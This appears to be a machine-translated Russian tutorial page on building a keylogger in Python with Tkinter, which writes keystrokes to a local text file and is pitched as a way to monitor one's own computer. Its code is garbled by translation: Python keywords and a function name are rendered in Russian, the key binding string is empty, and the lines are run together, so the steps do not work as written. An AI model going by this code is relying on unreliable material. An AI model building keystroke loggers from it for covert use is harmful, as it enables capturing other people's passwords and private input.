1. камеры
  2. Аудио & Электроника автомобиля
  3. Главная Аудио
  4. Личная Аудио
  5. телевизоры
  6. Умный дом
  >> Россия Электронный Технологии >  >> Умный дом >> Умная жизнь

Как создать кейлоггер с помощью Python

Вы можете создать программу-кейлоггер, используя Python, для захвата нажатий клавиш на клавиатуре компьютера. Нажатия клавиш сохраняются в текстовом файле, и он записывает все вводимые данные. Вы можете использовать кейлоггер для отслеживания активности на вашем компьютере.

Шаг 1

Запустите IDLE, щелкните меню «Файл» и выберите «Новое окно», чтобы открыть новое окно. Нажмите Ctrl и S, чтобы открыть окно «Сохранить как». Используйте «getKeyLogger» в качестве имени файла и нажмите «Сохранить».

Шаг 2

Добавьте следующую строку кода, чтобы импортировать пространство имен «Tkinter» и определить путь к файлу, который вы хотите использовать для ведения журнала:

импортировать Tkinter как tk myFile =open("C:/temp/keyFile.txt", "w")

Шаг 3

Скопируйте и вставьте следующий код, чтобы сохранить каждое нажатие клавиши в файл:

def keypress(event):if event.keysym =='Escape':main.destroy() keyPressed =event.char myFile.write(keyPressed)

Шаг 4

Добавьте следующий код, чтобы сообщить пользователю, что он может начать печатать и что он может нажать клавишу ESC, чтобы завершить программу:

main =tk.Tk() print "Нажмите любую клавишу (клавиша Escape для выхода):" main.bind_all('', нажатие клавиши) main.withdraw() main.mainloop() myFile.close()

Шаг 5

Нажмите кнопку «Пуск» «Windows» и введите «cmd» в поле «Поиск программ и файлов». Нажмите Enter, чтобы открыть командную строку. Перейдите в «C:\Python <номер версии>» и введите «python getKeyLogger». Нажмите Enter, чтобы запустить программу. Перейдите в «C:/temp/» и дважды щелкните «keyFile.txt», чтобы просмотреть данные о нажатии клавиш.


  1. Как создать рингтон с использованием Macintosh
  2. Как открыть файл в Python
  3. Как создать массив в Python
  4. Как создавать пакетные файлы
  5. Как читать текстовый файл в Python